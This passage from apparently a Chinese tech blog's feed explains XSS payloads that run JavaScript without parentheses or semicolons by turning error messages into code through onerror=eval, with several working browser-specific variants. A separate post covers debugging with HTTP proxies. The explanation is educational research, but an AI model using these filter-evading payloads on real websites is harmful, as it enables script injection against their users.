Firefox 所做的努力。</p><p>在 Firefox 中有錯誤時，它錯誤訊息的格式不一樣：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token number">1</span><span class="token punctuation">;</span><span class="token comment">// uncaught exception: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>在這個錯誤訊息之下，組不出來合法的程式碼，之前提的把 <code>onerror</code> 換成 <code>eval</code> 就沒用了。</p><p>於是 Gareth Heyes 就繼續深挖，發現了兩件事情。第一件事情是，如果 throw 一個 Error 而不是字串，錯誤訊息就不會有這些惱人的 prefix，只剩一個 <code>Error:</code>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>alert<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment">// Error: 1</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>由於 <code>Label:</code> 在 JavaScript 是個合法的程式碼，所以後面直接放程式碼就好，輕輕鬆鬆：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">(</span><span class="token string">'alert(1)'</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>但用了 <code>Error()</code> 的話就有括號了，而 Gareth Heyes 的第二個發現是，在 Firefox 上你可以 throw 一個 error-like object，也能達到相同效果：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">onerror<span class="token operator">=</span>eval<span class="token punctuation">;</span><span class="token keyword">throw</span> <span class="token punctuation">&#123;</span><span class="token literal-property property">lineNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">columnNumber</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">fileName</span><span class="token operator">:</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token literal-property property">message</span><span class="token operator">:</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>總而言之呢，這些都是為了要控制 Firefox 最後產生的錯誤訊息，只要能控制，就能組成合法程式碼丟到 eval 去執行。</p><p>剛好最近看到 Gareth Heyes <a href="https://x.com/garethheyes/status/1961078705293246513">發推</a>，說 Firefox 要把這個功能修掉了：<a href="https://github.com/PortSwigger/xss-cheatsheet-data/issues/103">Firefox removed support for throwing error-like objects</a>，於是他就找出了一個新的方法：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span> onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span>x<span class="token operator">=</span><span class="token keyword">new</span> <span class="token class-name">Error</span><span class="token punctuation">,</span>x<span class="token punctuation">.</span>message<span class="token operator">=</span><span class="token string">'alert\x281\x29'</span><span class="token punctuation">,</span>x<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看起來是要 new Error 的話，不需要括號也可以。有了一個 Error 物件之後再設定 message，就一樣能控制錯誤訊息。</p><h2><span id="其他-payload">其他 payload</span></h2><p>原文底下有其他人提了另外兩個 payload。</p><p>第一個來自 <a href="https://x.com/terjanq/status/1128692453047975936">@terjanq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token keyword">throw</span><span class="token operator">/</span>a<span class="token operator">/</span><span class="token punctuation">,</span>Uncaught<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">,</span>g<span class="token operator">=</span>alert<span class="token punctuation">,</span>a<span class="token operator">=</span><span class="token constant">URL</span><span class="token operator">+</span><span class="token number">0</span><span class="token punctuation">,</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">,</span><span class="token operator">/</span><span class="token number">1</span><span class="token operator">/</span>g<span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">12</span><span class="token punctuation">]</span><span class="token operator">+</span><span class="token punctuation">[</span><span class="token number">1337</span><span class="token punctuation">,</span><span class="token number">3331</span><span class="token punctuation">,</span><span class="token number">117</span><span class="token punctuation">]</span><span class="token operator">+</span>a<span class="token punctuation">[</span><span class="token number">13</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這個 payload 我試了一下目前只能在 Chrome 執行，很明顯可以拆成幾個部分：</p><ol><li><code>/a/</code></li><li><code>Uncaught=1</code></li><li><code>g=alert</code></li><li><code>a=URL+0</code></li><li><code>onerror=eval</code></li><li><code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code></li></ol><p>因為是用逗號接起來的，所以 throw 的會是最後的那一段。</p><p>先從最後一段開始好了，這個 <code>throw /1/g+a[12]+[1337,3331,117]+a[13]</code> 是幹嘛的。</p><p>首先呢，a 是 <code>URL+0</code>，而 URL 是個 global 的函式，函式 + 0 會變字串，所以 a 是 <code>&quot;function URL() &#123; [native code] &#125;0&quot;</code>，因此 <code>a[12]</code> 跟 <code>a[13]</code> 分別就是 <code>(</code> 跟 <code>)</code> 了。</p><p>而 <code>/1/g</code> 是個 regexp，變成字串的時候會是 <code>&quot;/1/g&quot;</code>。至於 <code>[1337,3331,117]</code> 這個陣列，變字串時會呼叫 join，結果就是 <code>&quot;1337,3331,117&quot;</code>。</p><p>結合在一起，<code>/1/g+a[12]+[1337,3331,117]+a[13]</code> 就會是 <code>/1/g(1337,3331,117)</code>。</p><p>再搭配前面講過的，throw 什麼錯誤訊息就會是什麼，產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#x2F;1&#x2F;g(1337,3331,117)<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊的 <code>/</code> 雖然之前是當作 regexp，可是在現在的程式碼中，其實是算數的除法，也就是 <code>a / b / c</code>，其中 a 是 <code>Uncaught</code>，b 是 <code>1</code>，c 是 <code>g(1337,3331,117)</code>。</p><p>而 <code>Uncaught</code> 如果沒宣告就會出錯，所以才需要 <code>Uncaught=1</code>，接著 g 會被當成函式執行，因此 <code>g=alert</code>。</p><p>那最前面的 <code>/a/</code> 呢？這個應該只是不想讓 <code>throw</code> 跟後面的 payload 有空格所以才加的，實際上沒其他作用。</p><p>這個解法的精華在於 throw 的時候讓錯誤訊息變成 <code>Uncaught /1/g(1337,3331,117)</code>，是一段合法的程式碼，只要把一些前提補齊，就可以成功呼叫 <code>g</code> 這個函式。</p><p>第二個來自 <a href="https://x.com/cgvwzq">@cgvwzq</a>：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>這邊其實分成兩句，第一句是：<code>TypeError.prototype.name =&#39;=/&#39;</code>，這句是把 TypeError 的名稱強制修改成 <code>=/</code>。</p><p>如果沒有這一句的話，<code>0[0][&#39;test&#39;]</code> 的錯誤訊息是：<code>Uncaught TypeError: Cannot read properties of undefined (reading &#39;test&#39;)</code></p><p><code>0[0]</code> 會是 undefined，而 <code>undefined[&#39;test&#39;]</code> 就會拋出這個 TypeError。</p><p>當我們強制把 name 改掉以後：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'hello!'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'test'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token comment">// Uncaught hello!: Cannot read properties of undefined (reading 'test')</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p>就可以控制原本 <code>TypeError</code> 的部分，變成任意字串。</p><p>而另外一句 <code>0[onerror=eval][&#39;/-alert(1)//&#39;]</code>，<code>0[onerror=eval]</code> 其實就只是把賦值放在 <code>[]</code> 裡面，賦值以後等同於 <code>0[eval]</code>，這個會回傳 undefined，於是就會拋一個 TypeError 出來。</p><p>換個方式看好了，底下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'&#123;1&#125;'</span><span class="token punctuation">;</span><span class="token number">0</span><span class="token punctuation">[</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'&#123;2&#125;'</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>在 Chrome 上會產生的錯誤訊息為：</p><pre class="line-numbers language-none"><code class="language-none">Uncaught &#123;1&#125;: can&#39;t access property &quot;&#123;2&#125;&quot;, 0[eval] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>現在的問題就變成，該怎麼透過控制上面的字串，讓錯誤訊息變成合法的程式碼？</p><p>在 <code>&#123;1&#125;</code> 的地方作者放了 <code>=/</code>，合起來就是 <code>Uncaught=/</code>，這個 <code>/</code> 其實是 regexp 的意思，因此這個方法的思路為，讓 <code>&#123;2&#125;</code> 前面那一堆字串（<code>: can&#39;t access property &quot;</code>）都變成 regexp 的一部分。</p><p>因此 <code>&#123;2&#125;</code> 的地方開頭為 <code>/</code>，把前面湊成一個 regexp，接著用 <code>-alert(1)</code> 去執行函式，這邊改成 <code>+alert(1)</code> 也行，就只是要把兩個操作串起來而已。執行完以後，後面的程式碼全都用 <code>//</code> 註解掉，就可以不用管了。</p><p>但如果你實際去跑上面這段 payload，會發現 Chrome 回傳錯誤訊息：<code>Invalid regular expression ... Unterminated group</code>，這是因為錯誤訊息裡面有個 <code>(</code>，那時可能還沒有，造成 regexp 語法有誤，只需要加個 <code>)</code> 就行了：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">')/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>產生的錯誤訊息就會是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span><span class="token operator">:</span> Cannot read properties <span class="token keyword">of</span> <span class="token keyword">undefined</span> <span class="token punctuation">(</span>reading <span class="token string">')/-alert(1)//'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>稍微簡化一下就是：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript">Uncaught <span class="token operator">=</span><span class="token operator">/</span>regexp<span class="token operator">/</span><span class="token operator">-</span><span class="token function">alert</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token comment">//...</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>話說這個 payload 在 Chrome 139 上沒問題，Firefox 142 則會報錯：<code>Uncaught SyntaxError: expected expression, got &#39;=&#39;</code>。</p><p>想要 debug 的話，把 <code>onerror=eval</code> 改成 <code>onerror=console.log</code> 就好，先看一下產生的錯誤訊息長怎樣：</p><pre class="line-numbers language-none"><code class="language-none">&#x3D;&#x2F;: can&#39;t access property &quot;)&#x2F;&#x2F;alert(1)&#x2F;&#x2F;&quot;, 0[console.log] is undefined<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>看來 Firefox 上，TypeError 的 name 前面沒有任何東西，因此要讓 Firefox 可以動的話，前面隨便加個可以當變數的字元就行：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'a=/'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">'/-alert(1)//'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>若是真的有理解這個做法，只要延續這個思路，其實在 TypeName 那邊就可以插入程式碼了，結果是一樣的，但帥氣度沒這麼高（在 Chrome 上沒問題）：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'=alert(1)//'</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>至於要怎麼組出一個 Chrome 跟 Firefox 都可以的 payload，讀者可以自行練習，或是參考我組出來的一個範例，多加了一些變形：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token class-name">TypeError</span><span class="token punctuation">.</span>prototype<span class="token punctuation">.</span>name <span class="token operator">=</span><span class="token string">'+/['</span><span class="token punctuation">,</span><span class="token punctuation">[</span>onerror<span class="token operator">=</span>eval<span class="token punctuation">]</span><span class="token punctuation">[</span>window<span class="token punctuation">.</span>Uncaught<span class="token operator">++</span><span class="token punctuation">]</span><span class="token punctuation">[</span><span class="token string">']/-alert\501\51&lt;!--'</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><h2><span id="總結">總結</span></h2><p>其實不管是哪個 payload，核心概念都是相同的，只要把錯誤訊息變成合法的 JavaScript 程式碼，再丟給 eval 執行即可。</p><p>要看懂 payload，無非就是要對 JavaScript 程式碼比較熟悉，例如說 <code>0[onerror=eval]</code> 或是逗號的用法，至少要知道在幹嘛。</p><p>除此之外，就是發揮想像力了，這個就比較難練習，通常都會從觀察模仿開始。</p><p>最後整理幾個關鍵點：</p><ol><li>逗號可以串連多個 expression，會回傳最後一個</li><li>把 onerror 換成 eval，就能把錯誤訊息當程式碼執行</li><li>throw 出去的錯誤會變成錯誤訊息的一部分</li><li>只要能讓錯誤訊息變成合法程式碼就大功告成</li></ol>]]></content>
    
    
    <summary type="html">&lt;p&gt;前陣子收到一封讀者來信，問我能不能寫一篇來講解 &lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt; 這篇文章，說是這裡面的 payload 看不太懂。&lt;/p&gt;
&lt;p&gt;因此，這篇就來簡單講解一下這些 payload，參考的原文是 Gareth Heyes 的這兩篇文章：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://thespanner.co.uk/2012/05/01/xss-technique-without-parentheses&quot;&gt;XSS technique without parentheses&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://portswigger.net/research/xss-without-parentheses-and-semi-colons&quot;&gt;XSS without parentheses and semi-colons&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</summary>
    
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/categories/JavaScript/"/>
    
    
    <category term="JavaScript" scheme="https://blog.huli.tw/tags/JavaScript/"/>
    
  </entry>
  
  
  
  <entry>
    <title>人人都需要一個 HTTP proxy 來 debug</title>
    <link href="https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/"/>
    <id>https://blog.huli.tw/2025/04/23/everyone-need-a-http-proxy-to-debug/</id>
    <published>2025-04-23T02:50:00.000Z</published>
    <updated>2025-04-23T11:40:51.930Z</updated>
    
    <content type="html"><![CDATA[<p>身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。</p><p>但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？</p><span id="more"></span><h2><span id="devtools-真的會不夠用嗎是不是你不會用">DevTools 真的會不夠用嗎？是不是你不會用？</span></h2><p>舉幾個我實際碰過的案例，如果 DevTools 能解決那當然是最方便的，但我解決不了（也有可能是我不會用就是了）。另外，底下的 DevTools 指的都是 Chrome DevTools，或許其他瀏覽器的不會有這些問題。</p><h3><span id="重新導向前的請求細節看不到">重新導向前的請求細節看不到</span></h3><p>很多實作 OAuth 相關服務的網站在登入完成後，會跳轉到 redirect url 並且帶著一個 code，而這時有些網站會拿 code 去交換 access_token，然後再帶著 access_token 跳轉到下一個頁面。如果 code 交換 access_token 這一步有問題，該怎麼 debug 呢？</p><p>Chrome DevTools 在跳轉到其他頁面時，預設會把 console 跟 network 的東西都清空。有一個選項叫做「Preserve log」，把它勾起來以後看似問題就解決了，但其實沒有。</p><p>大家可以隨便找一個網頁，打開 DevTools 並且把保留 log 勾起來，然後執行以下程式碼：</p><pre class="line-numbers language-javascript" data-language="javascript"><code class="language-javascript"><span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">'https://httpbin.org/user-agent'</span><span class="token punctuation">)</span>    <span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> window<span class="token punctuation">.</span>location <span class="token operator">=</span> <span class="token string">'https://example.com'</span><span class="token punctuation">)</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>當跳轉完成以後，雖然 Network 那邊確實可以看到這個請求，但點進去以後只會看到「Failed to load response data」：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p1.png" alt="看不到請求"></p><p>這個問題從 2012 年就有人回報了，好不容易等了十幾年，2023 年底時說這個在 2024 的 roadmap 上，但目前依然沒有任何動靜：<a href="https://issues.chromium.org/issues/40254754">DevTools: XHR (and other resources) content not available after navigation.</a>。</p><p>總之呢，在這個情境之下，看不到 response 基本上沒辦法 debug，很不方便。</p><h3><span id="websocket-連線握手失敗找不到原因">WebSocket 連線握手失敗找不到原因</span></h3><p>雖然我們平常在用 WebSocket 時，只需要一行程式碼就可以建立連接，但背後其實是分了兩步。</p><p>第一步會發出一個 HTTP Upgrade 請求，完成以後才切換到 WebSocket 連線。雖然大多數狀況之下第一步都會成功，那如果第一步失敗會怎樣呢？</p><p>我們可以請 AI 寫一個很簡單的 demo 出來：</p><pre class="line-numbers language-none"><code class="language-none">寫一個 nodejs websocket server，然後用一個 nginx 擋在前面nginx 的作用是當 url 含有 ?debug 的時候要回傳 500 錯誤當 websocket 連線後會往 client 自動發送 hello 的 message最後要包裝成可以用 docker compose 跑起來<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>等 AI 產完之後用 docker 跑起來，一樣隨便開個網頁建立連接，會發現帶有 debug 的那個連線請求，你只知道失敗了，卻完全不知道原因：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p2.png" alt="看不到原因"></p><p>這個錯誤訊息甚至跟你隨便連一個沒開的 port 一樣，完全不知道為什麼會失敗，這樣也很難跟後端說問題在哪裡。</p><p>以上是兩個我有印象的範例，但實際開發中應該碰過更多更多，基本上都是只靠 DevTools 來看 Network 沒辦法解決的問題，要嘛是看不到，要嘛看到的東西不太對。</p><h2><span id="簡單好用的-http-proxy">簡單好用的 HTTP Proxy</span></h2><p>既然沒辦法靠 DevTools，那只能依賴更底層的工具了，例如說 HTTP Proxy！有些工具會在你本機起一個 proxy，這樣流量就會都經過它，自然而然就能看到所有的請求了，就不必再受限於 DevTools。</p><p>而且另一個好處是有地方可以互相對照，如果 proxy 顯示的跟 DevTools 顯示的不同，就有可能是 DevTools 顯示的東西有問題。</p><p>因此，誠心推薦大家找個 HTTP Proxy 來用，我自己用過的有這三個：</p><ol><li><a href="https://www.charlesproxy.com/">Charles</a></li><li><a href="https://portswigger.net/burp/communitydownload">Burp Suite</a></li><li><a href="https://mitmproxy.org/">mitmproxy</a></li></ol><p>以前我剛接觸 proxy 時用的是 Charles，接觸到資安以後就改成用第二個 Burp Suite 了。它其實是個可以拿來做各種資安相關測試的工具，但我覺得你只拿來做 proxy 也沒問題，非常方便。</p><p>第三個 mitmproxy 是開源且免費的，知名度也很高，我偶爾也會用但是用的方式不太一樣，這個晚點再講。</p><h3><span id="把-burp-suite-當-proxy-app-來用">把 Burp Suite 當 Proxy App 來用</span></h3><p>先到官網下載個免費的社群版：<a href="https://portswigger.net/burp/communitydownload">https://portswigger.net/burp/communitydownload</a></p><p>打開之後按下 Next 然後 Start Burp，就會看到主畫面。你會發現它的功能很多，但我們先切到「Proxy」頁籤底下「HTTP history」這一頁就行了：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p3.png" alt="Burp 畫面"></p><p>然後那顆很顯眼橘色的「Open Browser」點下去，就會開啟它自帶的 Chrome 瀏覽器，可以用這個瀏覽器訪問任何一個網頁，例如說 example.com。</p><p>接著切回工具，就會發現 HTTP history 裡面記錄著所有請求的原始內容跟 response：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p4.png" alt="請求紀錄"></p><p>如此一來，前面提過的跳轉案例跟 WebSocket 握手失敗，都可以在這邊看到原始請求內容，錯誤一目瞭然：</p><p><img src="/img/everyone-need-a-http-proxy-to-debug/p5.png" alt="原始內容"></p><p>如果未來你碰到有些請求看不到，那就是被預設的 filter 篩選掉了，點 Filter settings 那邊選 show all 後 apply，應該就能看到了。</p><p>（若是有碰到不安全的連線等問題，需要先安裝憑證，請參考：<a href="https://portswigger.net/burp/documentation/desktop/external-browser-config/certificate">Installing Burp’s CA certificate</a>）</p><p>以上就是 Burp Suite 做為 HTTP Proxy 的基本介紹。如果你不想用它提供的 Chrome，也可以自己設置電腦或是瀏覽器的 proxy，它預設會在 8080 port。</p><p>舉例來說，我在 Mac 上會再裝一個 Chrome Canary 專門拿來 debug，用這個指令可以開啟並且設定好 proxy 位置：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>如此一來就能用自己熟悉的瀏覽器 debug 了。</p><p>話說 Burp Suite 還有很多其他功能啦，例如說重放請求或是暴力破解等等，不過我覺得一般工程師把它當 proxy 來用就已經幫助很大了。對完整功能有興趣的話可以參考 HackerCat 所寫的 <a href="https://hackercat.org/burp-suite-tutorial/web-pentesting-burp-suite-total-tutorial">Web滲透測試 – Burp Suite 完整教學系列</a>。</p><h3><span id="用-mitmproxy-搭配腳本動態改變內容">用 mitmproxy 搭配腳本動態改變內容</span></h3><p>mitmproxy 的安裝過程我就不多說了，可以參考<a href="https://docs.mitmproxy.org/stable/overview-getting-started/">官方文件</a>或是跟 AI 協作自己裝起來，安裝完之後也記得訪問一下 <code>http://mitm.it</code> 下載並安裝憑證，才能攔截到 HTTPS 的流量。</p><p>都安裝完以後，執行 <code>mitmproxy</code> 就能夠把 proxy 跑起來了，會看到一個 CLI 的介面。</p><p>那既然 Burp Suite 已經很好用了，什麼時候會用到 mitmproxy 呢？它有個好用的功能是可以透過簡單的 Python 腳本去客製化 proxy 的行為，非常方便。</p><p>舉例來說，假設因為某些原因，測試環境無法完全模擬正式環境，但你又不可能直接把 code 上到正式環境去測試。這時就可以用 proxy 動態替換 production 的 response，在本機模擬一些行為。</p><p>雖然 Chrome 也有<a href="https://developer.chrome.com/docs/devtools/override">覆蓋 response</a> 的功能，但限制比較多，例如說內容只能固定等等。我們自己用 proxy 搭配腳本，絕對是更彈性而且自由度更高的選擇。</p><p>底下是一個簡單的 mitm 腳本，目的是把我部落格的 script.js 用本機的來替換：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">from</span> mitmproxy <span class="token keyword">import</span> http<span class="token keyword">import</span> requestsURL_MAPPINGS <span class="token operator">=</span> <span class="token punctuation">&#123;</span>    <span class="token string">"https://blog.huli.tw/js/script.js"</span><span class="token punctuation">:</span> <span class="token string">"http://localhost:5555/script.js"</span><span class="token punctuation">,</span><span class="token punctuation">&#125;</span><span class="token keyword">def</span> <span class="token function">request</span><span class="token punctuation">(</span>flow<span class="token punctuation">:</span> http<span class="token punctuation">.</span>HTTPFlow<span class="token punctuation">)</span> <span class="token operator">-</span><span class="token operator">></span> <span class="token boolean">None</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> url <span class="token keyword">in</span> URL_MAPPINGS<span class="token punctuation">:</span>        <span class="token keyword">if</span> flow<span class="token punctuation">.</span>request<span class="token punctuation">.</span>pretty_url<span class="token punctuation">.</span>startswith<span class="token punctuation">(</span>url<span class="token punctuation">)</span><span class="token punctuation">:</span>            replacement_url <span class="token operator">=</span> URL_MAPPINGS<span class="token punctuation">[</span>url<span class="token punctuation">]</span>            replacement_response <span class="token operator">=</span> requests<span class="token punctuation">.</span>get<span class="token punctuation">(</span>replacement_url<span class="token punctuation">)</span>            flow<span class="token punctuation">.</span>response <span class="token operator">=</span> http<span class="token punctuation">.</span>Response<span class="token punctuation">.</span>make<span class="token punctuation">(</span>                <span class="token number">200</span><span class="token punctuation">,</span>                replacement_response<span class="token punctuation">.</span>content<span class="token punctuation">,</span>                 <span class="token punctuation">&#123;</span><span class="token string">"Content-Type"</span><span class="token punctuation">:</span> <span class="token string">"application/javascript"</span><span class="token punctuation">&#125;</span>             <span class="token punctuation">)</span>            <span class="token keyword">return</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>用這個指令就可以跑起來：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">mitmproxy <span class="token parameter variable">-s</span> proxy.py<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>接著用前面講過的指令打開一個設定好 proxy 的瀏覽器：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">open</span> <span class="token parameter variable">-a</span> <span class="token string">"Google Chrome Canary"</span> <span class="token parameter variable">--args</span> --proxy-server<span class="token operator">=</span><span class="token string">"http://localhost:8080"</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>再用瀏覽器訪問 <code>https://blog.huli.tw</code>，就能夠看出 script 的內容已經被替換。</p><h2><span id="結語">結語</span></h2><p>以上就是我平常自己會使用到的一些 proxy 以及使用方法。</p><p>太過依賴於瀏覽器不是件好事，只要瀏覽器沒有顯示，就不知道該怎麼辦。但前端工程師身為第一線，絕對是有辦法拿到整個 request 與 response，才能進一步釐清問題。以後若是碰到瀏覽器上看不到請求的問題，可以試試看使用 proxy 來拿到完整的請求以及響應。</p><p>除了電腦的網頁之外，手機也可以用，可以在 Android 上設定 proxy 連到同個 Wi-Fi 的電腦上，接著在手機上安裝憑證，就能攔截手機的流量。</p><p>最後再講一個小訣竅，在 Mac 的 CLI 執行指令時加上 <code>https_proxy=http://localhost:8080</code> 就能夠配置 proxy，如 <code>https_proxy=http://localhost:8080 cursor .</code>，就可以把 Cursor IDE 的流量都導到 proxy 去。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;身為每天都要與網頁打交道的前端工程師，熟悉 DevTools 的使用是相當合理的。每當接 API 出問題時，就按下快捷鍵打開 DevTools，切到 Network 分頁，找到紅色的那一行，右鍵複製成 cURL 貼到群組裡面，讓後端自己找找問題。&lt;/p&gt;
&lt;p&gt;但不曉得大家有沒有碰過 DevTools 不夠用的狀況，這時該怎麼辦？&lt;/p&gt;</summary>
    
    
    
    <category term="Web" scheme="https://blog.huli.tw/categories/Web/"/>
    
    
    <category term="Web" scheme="https://blog.huli.tw/tags/Web/"/>
    
  </entry>
  
  
  
  <entry>
    <title>VS Code Material Theme 不是惡意軟體——安全的線該畫在哪？</title>
    <link href="https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/"/>
    <id>https://blog.huli.tw/2025/03/16/vscode-material-theme-is-not-a-malware/</id>
    <published>2025-03-16T02:40:00.000Z</published>
    <updated>2025-03-16T09:15:12.854Z</updated>
    
